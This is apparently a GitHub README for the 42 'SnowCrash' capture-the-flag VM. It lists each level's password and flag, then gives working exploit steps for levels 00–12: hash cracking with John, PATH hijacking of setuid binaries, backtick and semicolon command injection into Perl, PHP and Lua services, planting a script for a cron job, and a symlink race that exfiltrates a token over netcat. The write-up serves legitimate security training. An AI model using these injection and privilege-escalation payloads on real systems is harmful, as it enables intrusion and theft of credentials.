Skip to content

πŸ—οΈ 42 CTF project πŸ΄β€β˜ οΈ

Notifications You must be signed in to change notification settings

nuoxoxo/snowcrash

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Tokens

level01  x24ti5gi3x0ol2eh4esiuxias
level02  f2av5il02puano7naaf6adaaf
level03  kooda2puivaav1idi4f57q8iq
level04  qi0maab88jeaj46qoumi7maus
level05  ne2searoevaevoem4ov4ar8ap
level06  viuaaale9huek52boumoomioc
level07  wiok45aaoguiboiki2tuin6ub
level08  fiumuikeil55xe9cu4dood66h
level09  25749xKZ8L7DkSCwJkT9dyv6f
level10  s5cAJpM8ev6XHw998pRWG728z
level11  feulo4b72j7edeahuete3no7c
level12  fa6v5ateaw21peobuub8ipe6s
level13  g1qKMiRpXf53AWhDaU7FEkczr

flag00  nottoohardhere 
flag01  abcdefg
flag02  ft_waNDReL0L
flag08  quif5eloekouj29ke0vouxean
flag09  f3iji1ju5yuevaus41q1afiuq
flag10  woupa2yuojeeaaed06riuj63c

Level 00 - 01 - 02 - 03 - 04 - 05 - 06 - 07 - 08 - 09 - 10 - 11 - 12

Subject PDF

SSH

$ ifconfig
$ ifconfig | grep inet
$ ifconfig | grep 'inet ' | awk 'NR==2'
$ ssh level00@$(ifconfig | grep 'inet ' | awk 'NR==2 {print $2}') -p 4242

00

First thought

  • the folder is empty
  • who am i: level00

What permissions do i have?

  • ls -ld
    • use -d to see info about the current folder (not its list)
  • level00 level00
    • I am level00. I am the owner. I am the group.
  • dr-xr-x---+
    • owner (me) and group members (my group) can read/exec (not write)
level00@SnowCrash:~$ ls -l
total 0
level00@SnowCrash:~$ ls -ld
dr-xr-x---+ 1 level00 level00 100 Mar  5  2016 .

My permissions:

  • I own this folder, but i can't vi/rm/mv/touch its contents.
  • can be proved by other commands as well:
    • namei -l $(pwd)
    • getfacl . (ACL: Access Control Lists)

Special folder: /tmp:

  • the /tmp is conventionally "world-writable"
> ls -ld /tmp
d-wx-wx-wx 4 root root 80 Nov 19 19:58 /tmp
  ^^ ^^ πŸ”΅ writable/executable
  • i can w|x but not list files, no one can

Learn the Echo-Chmod Combo, eg.

  • echo "something" > /tmp/go.sh && chmod +x /tmp/go.sh && sh /tmp/go.sh
  • it's a famous trick

Special folder: /etc:

  • etc here is rwxr-x
> ls -ld /etc
drwxr-xr-x 1 root root 260 Nov 19 18:30 /etc
  • ie. we can ls/cat it and its contents
> ls -l /etc
(omitted outputs)
> cat /etc/passwd
...
flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash
...
  • πŸ‘† accidentally got flag01

Check if there are more special files
We look for any file owned 1) by me, 2) by the account I try to log in

  • / : from root directory
  • \; : ends -exec and cat one file a time
  • + : now find runs cat on several files at once
  • 2>/dev/null : no error msg explosion (sending stderr output to /dev/null)
> find / -user level00 
> find / -user level00 2>/dev/null
> find / -user flag00 2>/dev/null
> find / -user flag00 -exec cat {} \; 2>/dev/null
OR
> find / -user flag00 -exec cat {} + 2>/dev/null
cdiiddwpgswtgt
cdiiddwpgswtgt
  • πŸ‘† we have a cipher

Decipher cdiiddwpgswtgt in python

a = ord('a')
for i in range(26):
    print(''.join(chr(a+(ord(c)-a+i)%26) for c in 'cdiiddwpgswtgt'))

01

Login

> ssh level01@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: x24ti5gi3x0ol2eh4esiuxias

Look at /etc/passwd

> grep -i flag01 /etc/passwd
flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash
> grep flag01 /etc/passwd | awk -F: '{print $2}'
42hDRfypTqqnw

What is /etc/passwd

  • it is a list of user accounts and their info
username:PWD:UID:GID:comment:home_dir:shell
         ^^^ ancient storage for encrypted passwd
             now passwd hashes are stored in /etc/shadow

Solution

  • Download and use john
> wget https://download.openwall.net/pub/projects/john/contrib/macosx/john-1.8.0.9-jumbo-macosx_sse4.zip
> tar -xvf john-1.8.0.9-jumbo-macosx_sse4.zip
> cd john-1.8.0.9-jumbo-macosx_sse4
> echo 42hDRfypTqqnw > __test
> ./john __test
> ./john --show __test

OR

> ./do_john.sh

Why use john

  • ./john --show provides this line in the output
[DES 128/128 SSE2-16]
  • Data Encryption Standard (DES)
  • DES is not truly encryption in the sense of encryption algorithms
  • it is an old one-way transformation used to store passwds
  • it is insecure due to small key size
  • using john to bruteforce-crack it is the most effecive way

02

Login

> ssh level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: f2av5il02puano7naaf6adaaf

Found a .pcap file

### VM
> ls -l
----r--r-- 1 flag02 level02 level02.pcap
^ which means a regular file

> scp -P 4242 level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'):/home/user/level02/level02.pcap $(pwd)

  • ~.pcap - Packet Capture
    • a .pcap is used to store network packet data captured during network traffic monitoring
  • Save the .pcap to Host
    • realpath - get the full absolute filepath
    • scp - secure copy - scp username@ip:path _local_
  • ❌ Inspect w/ hexdump, xxd
### Host
> hexdump -C level02.pcap 
> xxd level02.pcap 
> xxd level02.pcap | grep -i pass -A10 -B10
> xxd level02.pcap | cut -d ' ' -f2-9 | tr -d ' '
  • βœ… Use Wireshark
    • we do Analyze - Follow - TCP Stream
    • copy TCP Stream to text
    000000D6  00 0d 0a 50 61 73 73 77  6f 72 64 3a 20            ...Passw ord: 
000000B9  66                                                 f
000000BA  74                                                 t
000000BB  5f                                                 _
000000BC  77                                                 w
000000BD  61                                                 a
000000BE  6e                                                 n
000000BF  64                                                 d
000000C0  72                                                 r
000000C1  7f                                                 .
000000C2  7f                                                 .
000000C3  7f                                                 .
000000C4  4e                                                 N
000000C5  44                                                 D
000000C6  52                                                 R
000000C7  65                                                 e
000000C8  6c                                                 l
000000C9  7f                                                 .
000000CA  4c                                                 L
000000CB  30                                                 0
000000CC  4c                                                 L
000000CD  0d                                                 .
  • 7f - DE
  • 0d - CR

Parse the above block

infile = [[n[-2], n[-1]] for n in [_.split() for _ in open(0).read().split('\n') if len(_.split()) == 3]]
res = ''
for i, line in enumerate(infile):
    print('line/', line, 'i/', i)
    x, c = line
    if x == '7f':
        res = res[:-1]
    elif c != '.':
        res += c
    else:
        assert(x == '0d')
print('res/', res)

# ft_waNDReL0L

03

Login

> ssh level03@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: kooda2puivaav1idi4f57q8iq

Inspect

  • ❌ file readelf strings
  • also try id, namei
> ls -l
-rwsr-sr-x 1 flag03 level03 8627 level03
 ^^^
    ^^^ SUID and SGID are set for exec, ie. whichever user/group run the
        bin, it exec w/ temporary privileges of the owner of the file

πŸ‘‰ when ./level03 is run
  the entire process runs with owner flag03's priviledges, 
  ie. we gain temporary permissions as flag03

βœ… Use ltrace

  • tracing library function calls when the binary is executed
> ltrace ./level03

### output
getegid()                                           = 2003
geteuid()                                           = 2003
setresgid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
system("/usr/bin/env echo Exploit me" ...

### observations
πŸ‘‰ sets the real u/g id, the effective u|g id and
the saved set-user|group-ID of the calling process
  • Solution
> whereis getflag
getflag: /bin/getflag
> echo -e "#\!/bin/bash\n/bin/getflag" > /tmp/echo
> chmod +x /tmp/echo
> export PATH=/tmp:$PATH  πŸ‘ˆ prepend tmp to get it checked first
> ./level03

04

Login

> ssh level04@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: qi0maab88jeaj46qoumi7maus

We have a PERL script,
and it seems to interact with a webpage:

#!/usr/bin/perl
# localhost:4747

use CGI qw{param};
  # CGI (Common Gateway Interface)
  # param: a CGI module func fetches params from HTTP requests
  # qw: quote words

print "Content-type: text/html\n\n";

sub x {
  $y = $_[0];
  print `echo $y 2>&1`;
  # sub -- define subroutine x
  # $_[0] -- subroutine `x()` takes a single arg`
  # print w/ backticks invokes a shell command
  # 2>&1 -- combine stdout and stderr, & means 1 is a fd not a filename
}

x(param("x"));
  # 1st `x` : calling the subroutine
  # 2nd `x` : a query param
  # x comes in form of "...?x=getflag"

Solution

  • try to scan and connect to localhost:4242
  • set the query payload and Perl will echo it
> curl -I localhost:4747
or
> nc -vz localhost 4747
      ^ v: verbose
        z: scan if a port is open (a listening daemon)
Connection to localhost 4747 port [tcp/*] succeeded!

# eg.
> curl localhost:4747/?x="\`/usr/bin/whoami\`" 
> curl localhost:4747/?x="\`/usr/bin/id\`" 
> curl localhost:4747/?x="\`/bin/hostname\`" 
> curl localhost:4747/?x="\`/bin/pwd\`" 
> curl localhost:4747/?x="\`/bin/df\`" 


# whereis or which : avoid typing realpath out
> curl localhost:4747/?x="\`$(whereis pwd|awk '{print $2}')\`"
> curl localhost:4747/?x="\`$(which pwd)\`" 🟒 


# solve
> curl localhost:4747/?x="\`$(which getflag)\`"
or
> echo -e "GET /?x=\`$(which getflag)\` HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 4747

05

Login

> ssh level05@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: ne2searoevaevoem4ov4ar8ap

First observation

  • an empty dir and nothing happens
  • a hint says "mail" and "cronjob"

Inspect /var/mail

> crontab -l
no crontab for level05

> ls /var/mail
level05

> ls -l /var/mail/
-rw-r--r--+ 1 root mail 58 Nov 17 20:25 level05
^ ie. file

> cat /var/mail/level05 
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05

πŸ‘† There's a cronjob

  • it runs every 2nd minute
  • it runs a script as flag05

Inspect /usr/sbin/openarenaserver

> ls -l /usr/sbin/openarenaserver
-rwxr-x---+ 1 flag05 flag05 /usr/sbin/openarenaserver
              ^^^^^^ ^^^^^^ resource excl. to user flag05

> cat /usr/sbin/openarenaserver
#!/bin/sh

for i in /opt/openarenaserver/* ; do
	(ulimit -t 5; bash -x "$i")
	rm -f "$i"
done

What this script does:

  • it runs each file of /opt/openarenaserver/*
  • for each file, limit its exec runtime to 5 seconds
  • for each file, we print out what it is, if it is a script
  • rmv each file after use

Exploit

  • put a script inside /opt/openarenaserver/
$ echo '/bin/getflag > /tmp/temp' \
> /opt/openarenaserver/solve.sh && \
chmod +x /opt/openarenaserver/solve.sh

# remember
# `/usr/sbin/openarenaserver` runs `bash -x` in a subshell
# it'll stdout nothing whether we `tee` `tee /dev/tty` or `sync` 
  • use tee : read stdin and write to stdout and files
  • let it be run in 2min

06

Login

> ssh level06@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: viuaaale9huek52boumoomioc
> ls -l
-rwsr-x---+ 1 flag06 level06 7503 level06
-rwxr-x---  1 flag06 level06  356 level06.php

There are 2 files.

Inspect:

> file level06

level06: setuid ELF 32-bit LSB executable, 
Intel 80386, 
version 1 (SYSV),
dynamically linked (uses shared libs), 
for GNU/Linux 2.6.24, 
BuildID[sha1]=0xaabebdcd979e47982e99fa318d1225e5249abea7, 
not stripped 
> cat level06.php 

#!/usr/bin/php
<?php
function y($m) {
  $m = preg_replace("/\./", " x ", $m);
  $m = preg_replace("/@/", " y", $m);
  return $m;
}
function x($y, $z) {
  $a = file_get_contents($y);
  $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
  $a = preg_replace("/\[/", "(", $a);
  $a = preg_replace("/\]/", ")", $a);
  return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>

Inspect y function

function y($m) {
  $m = preg_replace("/\./", " x ", $m);
  $m = preg_replace("/@/", " y", $m);
  return $m;
}

Function y filters m twice

  1. " x " replaces all regex /./
  2. " y" replaces all regex /@/

Inspect x function

function x($y, $z) {
  $a = file_get_contents($y);
  $a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a);
  $a = preg_replace("/\[/", "(", $a);
  $a = preg_replace("/\]/", ")", $a);
  return $a;
}

Function x filters argv[1]

  1. "/(\[x (.*)\])/e"
    • matches [x cap] and insert 2nd captured group to string y("cap")
    • /e will eval the y(\"\\2\") as PHP code
    • 🟑 /e modifier only evaluates the replacement string we provide
    • 🟑 /e is deprecated long ago
  2. ( and ) replace all [ and ] in the result respectively
  • the func disregards argv[2]

Our goal

  • file_get_contents($argv[1]) depends on content of the file
  • so argv[1] to a FILE
  • it should be oneline in form of [x cap]

Solution

# get the _token/flag_ in there to be captured and printed out
  # shell_exec() system() exec() or simply backticks
# `getflag` called
# ${`getflag`} - get the ret
# [x ${`getflag`}] - framed in this form
# echo $(oneliner) > /tmp/temp - push it to a FILE

> echo '[x ${`getflag`}]' > /tmp/temp
> ./level06 /tmp/temp

07

Login

> ssh level07@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: wiok45aaoguiboiki2tuin6ub
> ls -l
-rwsr-sr-x 1 flag07 level07 8805 level07

First thought:

  • not running it, just to see what it does
  • file - strings - xxd - readelf - objdump
> file level07
> strings level07
> xxd level07 | grep level
> xxd level07 | grep -A3 -B3 level
> readelf -s ./level07 | grep -E 'getenv|system|exec|echo|puts|write|printf'
> objdump -d level07 | grep -E "getenv|system|exec|echo|puts|write|printf"
                      regex ^^

Using readelf -p .rodata and ltrace

  • -p : printable-string-dump displays contents of a section
  • .rodata : read-only data section = what we want to see
> readelf -p .rodata ./level07 
String dump of section '.rodata':
  [     8]  LOGNAME
            ^^^^^^^ 🟑 
  [    10]  /bin/echo %s 
> ltrace ./level07

__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
getegid()                                                  = 2007
geteuid()                                                  = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)        = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280)        = 0
getenv("LOGNAME")                                          = "level07"
        ^^^^^^^ 🟑 
asprintf(0xbffff744, 0x8048688, 0xbfffff4b, 0xb7e5ee55, 0xb7fed280) = 18
system("/bin/echo level07 "level07
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                     = 0
+++ exited (status 0) +++

Run it and we found that it prints LOGNAME

> ./level07 whoami
level07
> man env
> env logname
level06
> export LOGNAME='`id`'
> ./level07 
uid=3007(flag07) gid=2007(level07) groups=3007(flag07),100(users),2007(level07)

Solution

> export LOGNAME='`getflag`'
> ./level07

08

Login

> ssh level08@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: fiumuikeil55xe9cu4dood66h
> ls -l
-rwsr-s---+ 1 flag08 level08 8617 level08
-rw-------  1 flag08 flag08    26 token
              ^^^^^^ ^^^^^^ both flag08, not level08 🟑

2 files:

> cat token
cat: token: Permission denied

> ./level08
./level08 [file to read]

Tryout

> echo "a" > /tmp/tmp && ./level08 /tmp/tmp
a

> ltrace ./level08 /tmp/tmp
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/tmp/tmp", "token")                                = NULL
open("/tmp/tmp", 0, 014435162522)                          = 3
read(3, "a\n", 1024)                                       = 2
write(1, "a\n", 2a
)                                         = 2
+++ exited (status 2) +++
> echo "aB" > /tmp/tmp && ./level08 /tmp/tmp
aB

> ltrace ./level08 /tmp/tmp
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/tmp/tmp", "token")                                = NULL
open("/tmp/tmp", 0, 014435162522)                          = 3
read(3, "a\n", 1024)                                       = 2
write(1, "a\n", 2a
)                                         = 2
+++ exited (status 2) +++

Observation:

  • only the filename matters
  • ./level will cat the file, as long as filename contains no substr "token"
  • renaming ./token is not allowed
  • but we can make a symlink of it
    • syntax: ln -s real_path_src real_path_symlink

Solution

> ln -s `realpath token` /tmp/totem
> ./level08 /tmp/totem

09

Login

> ssh level09@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 25749xKZ8L7DkSCwJkT9dyv6f
> ls -l
-rwsr-sr-x 1 flag09 level09 7640 level09
----r--r-- 1 flag09 level09   26 token
> xxd token
0000000: 6634 6b6d 6d36 707c 3d82 7f70 826e 8382  f4kmm6p|=..p.n..
0000010: 4442 8344 757b 7f8c 890a                 DB.Du{....

Tryout

> ./level09 token
tpmhr
> ./level09 123
135
> ./level09 246
258
> ./level09 abcd
aceg
> ./level09 xyz
xz|
> ./level09 az
a{
level09@SnowCrash:~$ ./level09 za
zb
level09@SnowCrash:~$ ./level09 zab
zbd πŸ‘ˆ char = curr - i + 1

Solution

  • simple algo
  • either p2 in vm: respect the syntax
# /tmp/decode.py

line = open('/home/user/level09/token').read().strip()
print 'res/', ''.join(chr(ord(_) - i) for i, _ in enumerate(line))
  • or p3 in Host: scp the token first
line = open(0, 'rb').read().strip()
Pprint('res/', ''.join(chr(_ - i) for i, _ in enumerate(line)))
> scp -P 4242 level09@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'):/home/user/level09/token $(pwd)
    25749xKZ8L7DkSCwJkT9dyv6f
> chmod 777 token && p3 decode.py < token

10

Login

> ssh level10@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: s5cAJpM8ev6XHw998pRWG728z

Tryout

  • 2 files, seen it before
  • try - cat - ./level10 - ./level10 token localhost
> ls -l
-rwsr-sr-x+ 1 flag10 level10 10817 level10
-rw-------  1 flag10 flag10     26 token

> cat token
cat: token: Permission denied

> ./level10
./level10 file host
	sends file to host if you have access to it

> ./level10 token localhost
You don't have access to ./token

Problem

  • The main issue here is file ./token - we dont have its permission
  • ltrace - find out how ./level10 checks permission
    • it uses access()
> ltrace ./level10 token localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("token", 4)                                         = -1
^^^^^^ 🟑 

printf("You don't have access to %s\n", "token"You don't have access to token
)           = 31
+++ exited (status 31) +++
  • Touch a file of our own, try again
> ./level10 /tmp/tmp localhost
Connecting to localhost:6969 .. Unable to connect to host localhost

> ltrace ./level10 /tmp/tmp localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("/tmp/tmp", 4)                                      = 0
printf("Connecting to %s:6969 .. ", "localhost")           = 32
                         ^^^^ 🟑 
fflush(0xb7fd1a20Connecting to localhost:6969 .. )         = 0
                                         ^^^^ 🟑 
  • The program interacts with localhiost:6969
  • we need a valid Host IP :
    • 127.0.0.1, or the old trick
    • ifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2
> ./level10 /tmp/tmp $(ifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2)
Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!

nc, ltrace

  • it opens and reads and sends out /tmp/tmp content
  • it sends the content to Localhost:6969
# t1
> nc -lk 6969
# t2
> ./level10 /tmp/tmp Localhost
> Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!
  • we want it to open/read/send the token instead!
> ltrace ./level10 /tmp/tmp $(ifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2)
.
.
.
printf("Connected!\nSending file .. "Connected!
)                     = 27
fflush(0xb7fd1a20Sending file .. )                                         = 0
open("/tmp/tmp", 0, 010)                                   = 4
      ^^^^^^^^ 🟑 here is where our `token` should be read

read(4, "", 4096)                                          = 0
write(3, "", 0)                                            = 0
puts("wrote file!"wrote file!
)                                        = 12
+++ exited (status 12) +++

Goal

  • Figure out a way to force ./level10 to read the true token:
    • exploit access()'s TOCTOU vulnerability
  • How: let's create a racing condition
  • Design a file to do the following:
    • force access() to check a low-priority file
    • then, open() and read() deal w/ the hi-priority one

Solution:

  • we need a file that alternates its own type
    • type 1: a symlink to token
    • type 2: a regular file of our own
  • write a script to do this πŸ‘‡

alternate.sh

#!/bin/bash

t=/tmp/tmp

#timeout 2s bash -c '
while true; do
  touch $t
  rm -rf $t
  ln -s /home/user/level10/token $t
  rm -rf $t
done
#'
  • Another script to run alternate and ./level10 side by side

runner.sh

#!/bin/bash

#timeout 2s bash -c '
while true; do
  /home/user/level10/level10 /tmp/tmp 127.0.0.1 >/dev/null
done
#'
  • Run ./alternate.sh ./runner.sh and netcat at the same time
> /tmp/alternate.sh 2>/dev/null & /tmp/runner.sh 2>/dev/null & nc -lk 6969

11

Login

> ssh level11@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: s5cAJpM8ev6XHw998pRWG728z

Tryout

  • We have a Lua script
    • A TCP server is created and it listens on localhost port 5151
    • It get an input, concat it to echo w/o sanitization
> ls -l
-rwsr-sr-x 1 flag11 level11 668 level11.lua
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))
                     🟑 a TCP server listening ^^^^
                     for conn on localhost:5151

function hash(pass)
         ^^^^ 🟑 a function converts `pass` to sha-1 hash

  prog = io.popen("echo "..pass.." | sha1sum", "r")
            ^^^^^ 🟑  do `echo <pass> | sha1sum` and read stdout

            πŸ”΅ this is prone to command injection because
            `"echo " .. pass ..` concat unsanitized inputs

  data = prog:read("*all")
  prog:close()
  data = string.sub(data, 1, 40)
  return data
while 1 do
  local client = server:accept()
  client:send("Password: ")
               ^^^^^^^^^ πŸ”΅ we will inject a payload here

  client:settimeout(60)
  local l, err = client:receive()
  if not err then
      print("trying " .. l)
      local h = hash(l)
      if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
          client:send("Erf nope..\n");
      else
          client:send("Gz you dumb*\n")
      end
  end
  client:close()

Run the script

  • we find the server is up and running
  • nc to it, it is the same Lua program asking for password
> ./level11.lua 
lua: ./level11.lua:3: address already in use
stack traceback:
	[C]: in function 'assert'
	./level11.lua:3: in main chunk
	[C]: ?

Solution

  • Goal: design a string for hash() to concat to echo
    • halt echo w/ ;
    • then do what we want gettoken > /tmp/tmp
    • ie. echo ;gettoken > /tmp/tmp | sha1sum
    • the piping to sha1sum is discarded
> nc localhost 5151
Password: ;getflag > /tmp/tmp

12

Login

> ssh level12@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: fa6v5ateaw21peobuub8ipe6s

Tryout

  • We have a Perl script πŸ‘‰ possible backtick injection in query string
> ls -l level12.pl 
-rwsr-sr-x+ 1 flag12 level12 464 level12.pl
> cat level12.pl 
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";

sub t {
  $nn = $_[1];
  $xx = $_[0];         🟑 receives query string, the 1st part thereof
  $xx =~ tr/a-z/A-Z/;  🟑 `tr` all lowercase alpha to caps
  $xx =~ s/\s.*//;     🟑 `sub` all whitespaces w/ nothing 

  πŸ”΅ Vulnerability - Backtick Injection

  @output = `egrep "^$xx" /tmp/xd 2>&1`;
  foreach $line (@output) {
      ($f, $s) = split(/:/, $line);
      if($s =~ $nn) {
          return 1;
      }
  }
  return 0;
}

sub n {
  if($_[0] == 1) {
      print("..");
  } else {
      print(".");
  }    
}

n(t(param("x"), param("y")));

Solution

  • Create a file: `/*/C` which contains a getflag command
  • The setuid .pl script executes a backticks-enclosed expression
  • Why still fake an ALLCAPS filename?
    • bc. the program runs fast
    • tr and =~ pattern matching run at almost simultaneously
    • to avoid asynchronicit , we delay the script a little
> echo "getflag > /tmp/tmp" > /tmp/C 
> chmod 777 /tmp/C
> curl 'http://10.0.2.15:4646?x=`/*/C`'

there you have it in tmp tmp

About

πŸ—οΈ 42 CTF project πŸ΄β€β˜ οΈ

Resources

Stars

Watchers

Forks